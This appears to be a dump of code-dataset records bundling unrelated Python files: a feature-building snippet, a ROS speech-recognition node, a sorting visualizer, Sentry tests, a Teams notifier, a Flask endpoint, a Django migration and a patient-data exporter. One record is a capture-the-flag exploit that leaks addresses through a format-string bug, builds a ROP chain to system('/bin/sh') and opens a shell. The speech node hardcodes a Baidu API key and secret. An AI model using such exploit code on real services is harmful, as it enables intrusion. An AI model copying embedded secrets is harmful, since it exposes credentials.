df_impressions = (\n        df_items[df_items.action_type == \"clickout item\"]\n        .copy()\n        .drop(columns=\"action_type\")\n        .rename(columns={\"interacted_item\": \"impressed_item\"})\n    )\n\n    # Feature: Position of item in the original list.\n    # Items are in original order after the explode for each index\n    f.print_time(\"position feature\")\n    df_impressions.loc[:, \"position\"] = (\n        df_impressions\n        .groupby([\"user_id\", \"session_id\", \"timestamp\", \"step\"])\n        .cumcount()+1\n    )\n\n    # Feature: Is the impressed item the last interacted item\n    f.print_time(\"last interacted item feature\")\n    df_impressions.loc[:, \"is_last_interacted\"] = (\n        df_impressions[\"previous_item\"] == df_impressions[\"impressed_item\"]\n    ).astype(int)\n\n    f.print_time(\"change price datatype\")\n    df_impressions.loc[:, \"prices\"] = df_impressions.prices.astype(int)\n\n    return_cols = [\n        \"user_id\",\n        \"session_id\",\n        \"timestamp\",\n        \"step\",\n        \"position\",\n        \"prices\",\n        \"interaction_count\",\n        \"is_last_interacted\",\n        \"referenced_item\",\n        \"impressed_item\",\n    ]\n\n    df_return = df_impressions[return_cols]\n\n    return df_return\n","sub_path":"src/data_handling/feature_building.py","file_name":"feature_building.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"522963047","text":"#!/usr/bin/env python3\nfrom pwn import *\n\ns = remote('localhost', 30003)\n\nlibc = ELF('./libc.so.6')\n\ns.recvuntil('\\n\\n')\ns.sendline('%4$p,%15$p')\nstack_addr, libc_addr = map(lambda x: int(x, 0x10), s.recvline(False).decode('ascii').split(','))\nlibc.address = libc_addr - 0x28cb2\nlog.info('libc base: %#x' % libc.address)\nlog.info('stack address: %#x' % stack_addr)\n\ndef fsb(target, value):\n    payload = b''\n    payload += bytes(f'%{value if value > 0 else 0x100}x%10$hhn', 'ascii').ljust(0x10, b' ')\n    payload += p64(target)\n    s.sendline(payload)\n\nfsb(stack_addr - 1, 0xff)\n\npop_rdi = libc.address + 0x2858f\nret = libc.address + 0x28590\n\npayload = b''\npayload += p64(pop_rdi)\npayload += p64(next(libc.search(b'/bin/sh\\0')))\npayload += p64(ret)\npayload += p64(libc.symbols['system'])\nfor i, b in enumerate(payload):\n    fsb(stack_addr + 0x38 + i, b)\n\nfsb(stack_addr - 1, 0)\n\ns.interactive()\n","sub_path":"pwn/kodama/solution/exploit.py","file_name":"exploit.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"644674159","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport urllib\nimport json\nimport base64\nimport pyaudio\nimport os\nimport rospy\nimport record\nfrom std_msgs.msg import String, Int32\n\n\npub = rospy.Publisher('/voice_system/nlu_topic', String, queue_size=5)\npub_chat= rospy.Publisher('/voice_system/chat_topic', String, queue_size=5)\nrospy.init_node('asrbd', anonymous=True) \n\n\n# callback function, the  value of figure stands for different sources from different nodes.\n#1 stands for snowboy\n#2 stands for wechat\ndef callback(figure):\n    r=record\n    r.main()\n    api_key = \"9BTNYLLWRFWyPKFoG8kWGVWo\" \n    api_secert = \"acbd6562154601bb580c1e946483c270\"\n    bdr = BaiduRest(\"test_python\", api_key, api_secert)\n    asr_string=bdr.getText(\"asr.wav\")[0]\n\n    if figure.data == 1:\n        pub.publish(asr_string)\n        print(\"fasong\")\n    if figure.data ==2:\n        pub_chat.publish(asr_string)\n    \n\ndef listerning():\n    rospy.Subscriber(\"/voice_system/asr_topic\", Int32, callback) \n    rospy.spin()\n\n  \nclass BaiduRest:\n    def __init__(self, cu_id, api_key, api_secert):\n        self.token_url = \"https://openapi.baidu.com/oauth/2.0/token?grant_type=client_credentials&client_id=%s&client_secret=%s\"\n        self.getvoice_url = \"http://tsn.baidu.com/text2audio?tex=%s&lan=zh&cuid=%s&ctp=1&tok=%s\"\n        self.upvoice_url = 'http://vop.baidu.com/server_api'\n        self.cu_id = cu_id\n        self.getToken(api_key, api_secert)\n        return\n\n    def getToken(self, api_key, api_secert):\n        token_url = self.token_url % (api_key,api_secert)\n\n        r_str = urllib.urlopen(token_url).read()\n        token_data = json.loads(r_str)\n        self.token_str = token_data['access_token']\n        pass\n\n    def getText(self, filename):\n        data = {}\n        data['format'] = 'wav'\n        data['rate'] = 8000\n        data['channel'] = 1\n        data['cuid'] = self.cu_id\n        data['token'] = self.token_str\n        wav_fp = open(filename,'rb')\n        voice_data = wav_fp.read()\n        data['len'] = len(voice_data)\n        data['speech'] = base64.b64encode(voice_data).decode('utf-8')\n        post_data = json.dumps(data)\n        r_data = urllib.urlopen(self.upvoice_url,data=bytes(post_data)).read()\n        return json.loads(r_data)['result']\n    \n\n\nif __name__ == \"__main__\":\n    listerning()\n\n\n\n","sub_path":"asr/src/asrbd.py","file_name":"asrbd.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"75947595","text":"import tkinter\nimport random\nfrom tkinter.constants import HORIZONTAL, SW, W\nfrom tkinter.ttk import Combobox\nfrom typing import Text\nimport SortingAlgorithms\n\nrootWindow = tkinter.Tk()\nrootWindow.title(\"Sorting Algorithm Visualizer\")\nrootWindow.minsize(900, 540)\nrootWindow.maxsize(900, 540)\nrootWindow.tk_setPalette(\"lightgray\")\n\n# Variables\nselected_Algorithm = tkinter.StringVar()\ndata = []\n\n\n# Functions\ndef drawData(data, colorArray):\n    # Resets the canvas\n    canvas.delete(\"all\")\n\n    c_height = 380\n    c_width = 900\n    x_width = c_width / (len(data) + 1)\n    offset = 20\n    spacing = 10\n    normalizedData = [i / max(data) for i in data]\n    for i, height in enumerate(normalizedData):\n        # top left corner\n        x0 = i * x_width + offset + spacing\n        y0 = c_height - height * 340\n        # bottom right corner\n        x1 = (i + 1) * x_width + offset\n        y1 = c_height\n\n        # Drawing data columns\n        canvas.create_rectangle(x0, y0, x1,y1, fill=colorArray[i])\n        canvas.create_text(x0+2, y0, anchor=SW, text=str(data[i]))\n\n    rootWindow.update_idletasks()\n\ndef Generate():\n    global data    \n    # Getting the user input from the UI and storing it as int\n    minValue = int(minEntry.get())\n    maxValue = int(maxEntry.get())\n    size = int(sizeEntry.get())\n\n    # Creating a data list and adding values based on user input\n    data = []\n    for each in range(size):\n        data.append(random.randrange(minValue, maxValue+1))\n\n    drawData(data, [\"lightblue\" for x in range(len(data))])\n\ndef StartAlgorithm():\n    global data\n    if not data: return\n\n    if (algorithmMenu.get() == \"Quick Sort\"):\n        SortingAlgorithms.quick_sort(data, 0, len(data)-1, drawData, speedScale.get())\n\n    elif (algorithmMenu.get() == \"Bubble Sort\"):\n        SortingAlgorithms.bubble_sort(data, drawData, speedScale.get())\n    \n    elif (algorithmMenu.get() == \"Merge Sort\"):\n        SortingAlgorithms.merge_sort(data, drawData, speedScale.get())\n    \n    drawData(data, [\"lightgreen\" for x in range(len(data))])\n\n  \n\n#Frame / base layout\nUI_frame = tkinter.Frame(rootWindow, width =900, height=200)\nUI_frame.grid(row=0, column=0, padx=10, pady=5)\n\ncanvas = tkinter.Canvas(rootWindow, width=900, height=380, bg=\"WhiteSmoke\")\ncanvas.grid(row=1, column=0, padx=0, pady=5)\n\n\n# User Interface\n# Row [0]\ntkinter.Label(UI_frame, text=\"Selected algorithm: \").grid(row=0, column=0, padx=0, pady=5, sticky=W)\nalgorithmMenu = Combobox(UI_frame, textvariable=selected_Algorithm, values=[\"Bubble Sort\", \"Quick Sort\", \"Merge Sort\"])\nalgorithmMenu.grid(row=0, column=1, padx=5, pady=5)\nalgorithmMenu.current(0)\n\nspeedScale = tkinter.Scale(UI_frame, from_=0.1, to=2.0, length=200, digits=2, resolution=0.1, orient=HORIZONTAL, label=\"Select Speed [operations/sec]\")\nspeedScale.grid(row=0, column=2, padx=5, pady=5)\n\n#Start Button\ntkinter.Button(UI_frame, text=\"Start sorting!\", command=StartAlgorithm, bg=\"lightgreen\").grid(row=0, column=3, padx=5, pady=5)\n\n\n# Row [1]\nsizeEntry = tkinter.Scale(UI_frame, from_=3, to=25, resolution=1, orient=HORIZONTAL, label=\"Data Size\")\nsizeEntry.grid(row=1, column=0, padx=5, pady=5)\n\nminEntry = tkinter.Scale(UI_frame, from_=0, to=10, resolution=1, orient=HORIZONTAL, label=\" Minimum value\")\nminEntry.grid(row=1, column=1, padx=5, pady=5)\n\nmaxEntry = tkinter.Scale(UI_frame, from_=10, to=100, resolution=1, orient=HORIZONTAL, label=\"Maximum value\")\nmaxEntry.grid(row=1, column=2, padx=5, pady=5)\n\n# Generate button\ntkinter.Button(UI_frame, text=\"Generate data\", command=Generate, bg=\"lightblue\").grid(row=1, column=3, padx=5, pady=5)\n\n\nrootWindow.mainloop()","sub_path":"SortingAlgorithmVisualizer.py","file_name":"SortingAlgorithmVisualizer.py","file_ext":"py","file_size_in_byte":3607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"419649810","text":"try:\n    from unittest.mock import Mock, patch, call\nexcept ImportError:\n    # Python 3.2 and earlier\n    from mock import Mock, patch, call\n\nimport pytest\nfrom twisted.web.http_headers import Headers\n\nfrom retwist.json_resource import JsonResource\nfrom .common import MyDummyRequest\n\n\nclass DummyResource(JsonResource):\n\n    def json_GET(self, request):\n        raise IndexError(\"Oh noes!\")\n\n\n@pytest.fixture()\ndef sentry_sdk():\n    return pytest.importorskip(\"sentry_sdk\")\n\n\n@pytest.fixture\ndef mock_capture_exception(sentry_sdk, monkeypatch):\n    mock_capture_exception = Mock(spec=sentry_sdk.capture_exception)\n    monkeypatch.setattr(sentry_sdk, \"capture_exception\", mock_capture_exception)\n    return mock_capture_exception\n\n\n@pytest.fixture\ndef dummy_request():\n    request = MyDummyRequest([b\"the\", b\"path\"])\n    request.args = {\n        b\"id\": b\"1234\"\n    }\n    request.requestHeaders = Headers({b\"Content-Type\": [b\"text/plain\"]})\n    return request\n\n\n@pytest.fixture\ndef dummy_resource():\n    return DummyResource()\n\n\n@pytest.fixture\ndef dummy_request_context():\n    return {\n        'data': {b'id': b'1234'},\n        'method': b'GET',\n        'headers': {b'content-type': b'text/plain'},\n        'url': b'http://dummy/',\n        'query_string': b'http://dummy/'\n    }\n\n\ndef test_sentry(mock_capture_exception, dummy_request, dummy_resource):\n    # Import moved down here because it fails if sentry-sdk isn't installed\n    from retwist.util.sentry import enable_sentry_reporting\n    enable_sentry_reporting()\n\n    from retwist.util.sentry import add_request_context_to_scope\n    with patch(\"retwist.util.sentry.add_request_context_to_scope\",\n               wraps=add_request_context_to_scope) as mock_add_request_context_to_scope:\n        dummy_resource.render(dummy_request)\n\n        assert mock_capture_exception.called\n        assert mock_add_request_context_to_scope.called\n\n\n@pytest.mark.parametrize(\n    \"context,expected_user_id,expected_custom_context\",\n    [\n        (\n            {'test_key': 'test_data'},\n            None,\n            {'test_key': 'test_data'}\n        ),\n        (\n            {'user_id': 'test_user_id'},\n            \"test_user_id\",\n            {}\n        )\n    ]\n)\ndef test_add_request_context_to_scope(context, expected_user_id, expected_custom_context,\n                                      dummy_request_context, sentry_sdk):\n    from retwist.util.sentry import add_request_context_to_scope\n\n    scope = Mock(spec=sentry_sdk.scope.Scope)\n    request_context = dummy_request_context.copy()\n    expected_context = dummy_request_context.copy()\n    if context:\n        request_context.update(context)\n    if expected_custom_context:\n        expected_context.update(expected_custom_context)\n    expected_set_user_calls = [call({\"id\": expected_user_id})] if expected_user_id else []\n    expected_set_context_calls = [call(\"request\", expected_context)]\n\n    add_request_context_to_scope(request_context, scope)\n\n    assert scope.set_user.mock_calls == expected_set_user_calls\n    assert scope.set_context.mock_calls == expected_set_context_calls\n","sub_path":"tests/test_sentry.py","file_name":"test_sentry.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"392755846","text":"import json\nimport boto3\nimport pymsteams\nfrom os import environ\nfrom botocore.vendored import requests\n\nclass PipelineData:\n    def __init__(self, pipline_state, pipeline_name, pipline_arn, pipline_event_time, pipeline_execution_id):\n        self.pipline_state = pipline_state\n        self.pipeline_name = pipeline_name\n        self.pipline_arn = pipline_arn\n        self.pipline_event_time = pipline_event_time\n        self.pipeline_execution_id = pipeline_execution_id\n\ndef construct_ms_teams_message(BuildPipelineObj, teams_url):\n    pipline_status = BuildPipelineObj.pipline_state\n    image_url = \"https://www.dictionary.com/e/wp-content/uploads/2018/03/thisisfine-1.jpg\"\n    activity_title = \"Pipline State: \" + BuildPipelineObj.pipline_state\n\n    if pipline_status == \"SUCCEEDED\":\n        activity_title = \"Pipline Succeeded\"\n        image_url = \"https://upload.wikimedia.org/wikipedia/en/thumb/f/ff/SuccessKid.jpg/256px-SuccessKid.jpg\"\n    elif pipline_status == \"STARTED\":\n        activity_title = \"Pipline Started\"\n        image_url = \"https://upload.wikimedia.org/wikipedia/en/thumb/f/ff/SuccessKid.jpg/256px-SuccessKid.jpg\"\n    elif pipline_status == \"FAILED\":\n        activity_title = \"Pipline Failed\"\n        image_url = \"https://www.dictionary.com/e/wp-content/uploads/2018/03/thisisfine-1.jpg\"\n\n\n    ms_Teams_Message = pymsteams.connectorcard(teams_url)\n    ms_Message_Section = pymsteams.cardsection()\n\n    ms_Message_Section.activityTitle(activity_title)\n    ms_Message_Section.activityImage(image_url)\n    ms_Teams_Message.addSection(ms_Message_Section)\n    ms_Teams_Message.text(\"Pipleline: \" + BuildPipelineObj.pipeline_name + \"   \\n\" +\n                          \"Pipleline Status: \" + pipline_status + \"   \\n\" +\n                          \"Pipline ARN: \" + BuildPipelineObj.pipline_arn + \"   \\n\" +\n                          \"Pipline Event Time: \" + BuildPipelineObj.pipline_event_time + \"   \\n\" +\n                          \"Pipline Execution ID: \" + BuildPipelineObj.pipeline_execution_id + \"   \\n\" \n                          )\n\n    return ms_Teams_Message\n\n\ndef get_pipeline_data(lambda_event):\n    sns_message = lambda_event['Records'][0]['Sns']['Message']\n    json_message = json.loads(sns_message)\n    pipline_state = json_message['detail']['state']\n    pipeline_name = json_message['detail']['pipeline']\n    pipeline_execution_id = json_message['detail']['execution-id']\n    pipline_arn = json_message['resources'][0]\n    pipline_event_time = json_message['time']\n\n\n    BuildPipeline = PipelineData(\n        pipline_state, \n        pipeline_name, \n        pipline_arn, \n        pipline_event_time, \n        pipeline_execution_id\n    )\n\n    return BuildPipeline\n\n\ndef lambda_handler(event, context):\n    print(event)\n    teams_url = environ.get('TEAMS_URL')\n    BuildPipelineObj = get_pipeline_data(event)\n    msTeamsMessage = construct_ms_teams_message(BuildPipelineObj, teams_url)\n    msTeamsMessage.send()\n","sub_path":"PipelineScripts/modules/build_notifications/teams_push/codepipeline_teams_push.py","file_name":"codepipeline_teams_push.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"340590508","text":"from flask_restful import Resource, request, current_app\n\nfrom backend.services.messaging.message_service import MessageService\nfrom backend.services.users.authentication_service import token_auth, tm\n\n\nclass NotificationsActionsDeleteMultipleAPI(Resource):\n    @tm.pm_only(False)\n    @token_auth.login_required\n    def delete(self):\n        \"\"\"\n        Delete specified messages for logged in user\n        ---\n        tags:\n          - notifications\n        produces:\n          - application/json\n        parameters:\n            - in: header\n              name: Authorization\n              description: Base64 encoded session token\n              required: true\n              type: string\n              default: Token sessionTokenHere==\n            - in: body\n              name: body\n              required: true\n              description: JSON object containing message ids to delete\n              schema:\n                  properties:\n                      messageIds:\n                          type: array\n                          items: integer\n                          required: true\n        responses:\n            200:\n                description: Messages deleted\n            500:\n                description: Internal Server Error\n        \"\"\"\n        try:\n            message_ids = request.get_json()[\"messageIds\"]\n            if message_ids:\n                MessageService.delete_multiple_messages(\n                    message_ids, token_auth.current_user()\n                )\n\n            return {\"Success\": \"Messages deleted\"}, 200\n        except Exception as e:\n            error_msg = f\"DeleteMultipleMessages - unhandled error: {str(e)}\"\n            current_app.logger.critical(error_msg)\n            return {\n                \"Error\": \"Unable to delete messages\",\n                \"SubCode\": \"InternalServerError\",\n            }, 500\n","sub_path":"backend/api/notifications/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"52923393","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport logging\nimport argparse\nimport traceback\nfrom random import randint\nimport threading\nfrom PIL import Image, ImageDraw, ImageFont\n\ndef format_line(line, max_width=90):\n    ''' Ensures that lines of text terminate reasonably even if document has no newlines '''\n    line = line.split()\n    while len(line) > 0:\n        out = line[0]\n        line = line[1:]\n        while len(line) > 0 and len(out) + len(line[0]) + 1 < max_width:\n            out = \" \".join([out, line[0]])\n            line = line[1:]\n        yield out\n\ndef get_doc_dimensions(doc, font, side_margin, header_margin, line_buffer):\n    ''' determines the appropriate dimensions for the document\n        :params:\n            doc- list of lines of text\n            font- the font being used in the document\n            side_margin- pixel width of side margins\n            header_margin- pixel height of header/footer margins\n            line_buffer- pixel height of line separator \n        :return:\n            a tuple indicating document dimensions\n    '''\n    # Image and Draw objects need to be instantiated because textsize() can't\n    # be called statically\n    img = Image.new('L', (1, 1), 255)\n    draw = ImageDraw.Draw(img)\n    max_width = 0\n    current_y = 0\n    for line in doc:\n        text_w, text_h = draw.textsize(line, font=font)\n        if text_w > max_width:\n            max_width = text_w\n        current_y = current_y + text_h + line_buffer\n    \n    width = max_width + (side_margin * 2)\n    height = current_y + (header_margin * 2)\n\n    return width, height\n\ndef generate_responses(word, current_x, current_y, font, \n                        connected_width, doc_id):\n    ''' Generates the response data for a word\n        :params:\n            word- the word to have data generated for\n            current_x- the x origin of the word\n            current_y- the y origin of the word\n            font- an ImageFont object used for the text\n            connected_width- the width of the word when written as an entire word\n            doc_id- the ID of the document\n        :return:\n            responses- a list of response data lists\n    '''\n    # tuning value adds pixels to every side of the box to improve\n    # letter containment\n    box_tuner = 8\n\n    # these letters need their bounding boxes shifted because they hang to the left\n    descenders = [\"у\", \"з\", \"р\", \"г\"]\n\n    responses = []\n\n    img = Image.new('L', (1, 1), 255)\n    draw = ImageDraw.Draw(img)\n\n    # Get word width if letters are written individually\n    unconnected_width = 0\n    for letter in word:\n        text_w, text_h = draw.textsize(letter, font=font)\n        unconnected_width += text_w\n\n    # Proportion\n    prop = connected_width / unconnected_width\n\n    for letter in word:\n        text_w, text_h = draw.textsize(letter, font=font)\n        #width_midpoint = text_w / 2\n        #left_x = \n        if letter in descenders:\n            current_x = current_x - int(text_w * .25)\n            text_w += text_w * .25\n        # resp format: [doc, x0, y0, x1, y1, letter]\n        responses.append([doc_id, current_x - box_tuner, current_y - box_tuner, \n                        current_x + int(text_w * prop) + box_tuner, \n                        current_y + text_h + box_tuner, letter])\n        current_x = current_x + int(text_w * prop)\n\n    return responses\n    \ndef txt_to_cursive_img(doc, out_path, logger):\n    ''' turns a document text into cursive images using the dictionary\n        :params:\n            doc- list of lines of text\n            logger- log object\n        :return:\n            a PIL Image object, response data, and the font (for debugging, some fonts have issues right now)\n    '''\n    try:\n        # line_buffer is the pixel spacing between lines\n        line_buffer = 15\n\n        # pixel value of the side margins\n        side_margin = 40\n\n        # pixel value of header and foot margins\n        header_margin = 40\n\n        # number of threads\n        thread_count = 5\n\n        # Get a random font\n        fonts = os.listdir(\"./fonts\")\n        font = ImageFont.truetype(f\"./fonts/{fonts[randint(0, len(fonts) - 1)]}\", 120)\n\n        # Get max line width and document height\n        width, height = get_doc_dimensions(doc, font, side_margin, header_margin, line_buffer)\n\n        img = Image.new('L', (width, height), 255)\n        draw = ImageDraw.Draw(img)\n\n        current_y = 0 + header_margin\n        current_x = 0 + side_margin\n        space = 25\n\n        responses = []\n\n        for line in doc:\n            max_height = 0\n            for word in line.split():\n                text_w, text_h = draw.textsize(word, font=font)\n                if text_h > max_height:\n                    max_height = text_h\n                draw.text((current_x, current_y), word, font=font, fill=0)\n                responses.extend(generate_responses(word, current_x, current_y, font, \n                            text_w, out_path))\n                current_x = current_x + text_w + space\n            current_x = side_margin\n            current_y = current_y + max_height + line_buffer\n\n        font_out = font.path.split('/')[-1]\n\n        return img, responses, font_out\n\n    except Exception as e:\n        traceback.print_exc()\n        trace = traceback.format_exc()\n        logger.error(repr(e))\n        logger.critical(trace)\n        raise\n    \nif __name__ == '__main__':\n    doc = []\n    \n    # Get command line args\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-i\", \"--input\", help=\"input file path\", type=str, nargs=1)\n    parser.add_argument(\"-o\", \"--output\", help=\"output file path\", type=str, nargs=1)\n    args = parser.parse_args()\n    \n    # Set up logger\n    logger = logging.getLogger(__name__)\n    logger.setLevel(logging.INFO)\n    handler = logging.FileHandler(\"traindatagen.log\")\n    formatter = logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n    handler.setFormatter(formatter)\n    logger.addHandler(handler)\n\n    # Output formats supported by matplotlib\n    supported_formats = [\"eps\", \"jpeg\", \"jpg\", \"pdf\", \"pgf\", \"png\", \"ps\", \n                            \"raw\", \"rgba\", \"svg\", \"svgz\", \"tif\", \"tiff\"]\n        \n    if args.input:\n        in_path = args.input[0]\n        # Read in document to transform to cursive\n        with open(in_path, \"r\") as handle:\n            for line in handle:\n                for frmtd_line in format_line(line):\n                    doc.append(frmtd_line)\n    else:\n        in_path = \"sys.stdin\"\n        # haven't tested sys.sdtin usage\n        for line in sys.stdin.read():\n            for frmtd_line in format_line(line):\n                doc.append(frmtd_line)\n    \n    if args.output:\n        out_path = args.output[0]\n        if out_path.split(\".\")[-1] not in supported_formats:\n            out_path = \"\".join([out_path, \".png\"])\n    else:\n        out_path = in_path.split(\"/\")[-1]\n        out_path = \"\".join(out_path.split(\".\")[:-1])\n        out_path = f\"{out_path}.png\"\n    \n    # Change each letter to a cursive image\n    logger.info('converting string doc to cursive images')\n    out, responses, font = txt_to_cursive_img(doc, out_path, logger)\n    \n    out.save(f\"{out_path}\")\n    logger.info(f\"Translated {in_path} to {out_path} using {font}\")\n\n    # resp format: [doc, x0, y0, x1, y1, letter]\n    with open(\"responses.tab\", \"w\") as out:\n        for resp in responses:\n            out.write(\"\\t\".join([resp[0], str(resp[1]), str(resp[2]),\n                        str(resp[3]), str(resp[4]), resp[5]]))\n            out.write(\"\\n\")","sub_path":"synthetic_data_generation/traindatagen.py","file_name":"traindatagen.py","file_ext":"py","file_size_in_byte":7549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"554405930","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Comment',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('content', models.CharField(max_length=5000)),\n                ('time', models.DateTimeField(auto_now_add=True)),\n                ('author', models.ForeignKey(related_name='user_comments', to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Message',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('content', models.CharField(max_length=3000)),\n                ('time', models.DateTimeField(auto_now_add=True)),\n                ('author', models.ForeignKey(related_name='user_messages', default=2, to=settings.AUTH_USER_MODEL)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Photo',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('title', models.CharField(max_length=20)),\n                ('url', models.URLField()),\n                ('add_time', models.TimeField(auto_now=True)),\n                ('is_show', models.BooleanField(default=True)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Tag',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(default=b'', unique=True, max_length=20)),\n                ('count', models.IntegerField(default=0)),\n                ('is_author', models.BooleanField(default=False)),\n                ('author_link', models.URLField(default=b'')),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.AddField(\n            model_name='photo',\n            name='tags',\n            field=models.ManyToManyField(related_name='has_photos', to='gallery.Tag', blank=True),\n            preserve_default=True,\n        ),\n        migrations.AddField(\n            model_name='comment',\n            name='photo',\n            field=models.ForeignKey(related_name='photo_comments', to='gallery.Photo'),\n            preserve_default=True,\n        ),\n    ]\n","sub_path":"gallery/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"276340597","text":"from admin_api.patient_data_import import PatientDataRow, COLUMNS\nfrom visits.data_access import patient_visits\nfrom openpyxl import load_workbook\nfrom events.data_access import events_by_visit, camp_by_patient\nfrom patients.data_access import patient_from_id\nfrom users.data_access import user_name_by_id\nfrom events.event_export import write_vitals_event, write_medical_hx_event, write_examination_event, write_med1_event, write_med2_event, write_med3_event, write_med4_event, write_med5_event, write_physiotherapy_event, write_covid_19_event\nfrom datetime import datetime, timedelta\nfrom tempfile import NamedTemporaryFile\nimport json\nfrom google.cloud import storage\nfrom config import EXPORTS_STORAGE_BUCKET\n\n\ndef single_patient_export(patient_id: str):\n    return SinglePatientDataExporter().run(patient_id)\n\n\nclass SinglePatientDataExporter:\n    def __init__(self):\n        self.rows = []\n\n    def run(self, patient_id):\n        workbook = load_workbook('data/base_export.xlsx')\n        worksheet = workbook.get_sheet_by_name('Sheet1')\n        for i, row in enumerate(self.iter_data_rows(patient_id)):\n            self.write_row(worksheet, i, row)\n        output = NamedTemporaryFile('wb', suffix='.xlsx', delete=False)\n        output.close()\n        workbook.save(output.name)\n        return output.name\n\n    def write_row(self, worksheet, row_index, row):\n        for col_index, col_key in enumerate(COLUMNS):\n            value = getattr(row, col_key)\n            if value is not None:\n                cell = worksheet.cell(row_index + 3, col_index + 1)\n                cell.value = value\n\n    def iter_data_rows(self, patient_id):\n        for visit in patient_visits(patient_id):\n            if not visit.patient_id:\n                continue\n            patient = patient_from_id(visit.patient_id)\n            if not patient:\n                continue\n            row = PatientDataRow(\n                visit_date=visit.check_in_timestamp.strftime(\"%d-%m-%Y\"),\n                first_name=patient.given_name.get('en'),\n                surname=patient.surname.get('en'),\n                date_of_birth=self.format_date(patient.date_of_birth),\n                age=self.age_string_from_dob(patient.date_of_birth),\n                gender=patient.sex,\n                hometown=patient.hometown.get('en'),\n                home_country=patient.country.get('en'),\n                phone=patient.phone,\n            )\n            provider = user_name_by_id(visit.provider_id)\n            if provider is not None:\n                self.write_text_event(row, 'doctor', provider.get('en'))   \n            camp_event = camp_by_patient(patient_id)\n            if camp_event is not None:\n                self.write_text_event(row, 'camp', camp_event.event_metadata)\n            for event in events_by_visit(visit.id):\n                if event.event_type == 'Visit Type':\n                    self.write_text_event(\n                        row, 'visit_type', event.event_metadata)\n                elif event.event_type == 'Medical History Full':\n                    write_medical_hx_event(row, event)\n                elif event.event_type == 'Vitals':\n                    write_vitals_event(row, event)\n                elif event.event_type == 'Examination Full':\n                    write_examination_event(row, event)\n                elif event.event_type == 'Physiotherapy':\n                    write_physiotherapy_event(row, event)\n                elif event.event_type == 'Medicine':\n                    if row.medication_1 is None:\n                        write_med1_event(row, event)\n                    elif row.medication_2 is None:\n                        write_med2_event(row, event)\n                    elif row.medication_3 is None:\n                        write_med3_event(row, event)\n                    elif row.medication_4 is None:\n                        write_med4_event(row, event)\n                    elif row.medication_5 is None:\n                        write_med5_event(row, event)        \n                elif event.event_type == 'Notes':\n                    self.write_text_event(row, 'notes', event.event_metadata)\n                elif event.event_type == 'Dental Treatment':\n                    self.write_text_event(\n                        row, 'dental_treatment', event.event_metadata)\n                elif event.event_type == 'Complaint':\n                    self.write_text_event(\n                        row, 'complaint', event.event_metadata)\n                elif event.event_type == 'COVID-19 Screening':\n                    write_covid_19_event(row, event)\n                elif event.event_type == 'Allergies':\n                    self.write_text_event(\n                        row, 'allergies_d', event.event_metadata)\n                elif event.event_type == 'Medicine Dispensed':\n                    self.write_text_event(\n                        row, 'medicine_dispensed_d', event.event_metadata)\n                elif event.event_type == 'Medical History':\n                    self.write_text_event(\n                        row, 'medical_hx_d', event.event_metadata)\n                elif event.event_type == 'Examination':\n                    self.write_text_event(\n                        row, 'examination_d', event.event_metadata)\n                elif event.event_type == 'Diagnosis':\n                    self.write_text_event(\n                        row, 'diagnosis_d', event.event_metadata)\n                elif event.event_type == 'Treatment':\n                    self.write_text_event(\n                        row, 'treatment_d', event.event_metadata)\n                elif event.event_type == 'Prescriptions':\n                    self.write_text_event(\n                        row, 'prescriptions_d', event.event_metadata)\n            yield row\n\n    def write_text_event(self, row, key, text):\n        setattr(row, key, text)\n\n    def write_vitals_event(self, row: PatientDataRow, event):\n        data = json.loads(event.event_metadata)\n        row.heart_rate = data.get('heartRate')\n        if data.get('systolic') and data.get('diastolic'):\n            row.blood_pressure = f\"{data.get('systolic')}/{data.get('diastolic')}\"\n        row.o2_sats = data.get('sats')\n        row.temperature = data.get('temp')\n        row.respiratory_rate = data.get('respiratoryRate')\n        row.blood_glucose = data.get('bloodGlucose')\n\n    def age_string_from_dob(self, dob):\n        if dob is None:\n            return 'unknown'\n        age = datetime.now() - datetime(dob.year, dob.month, dob.day)\n        if age < 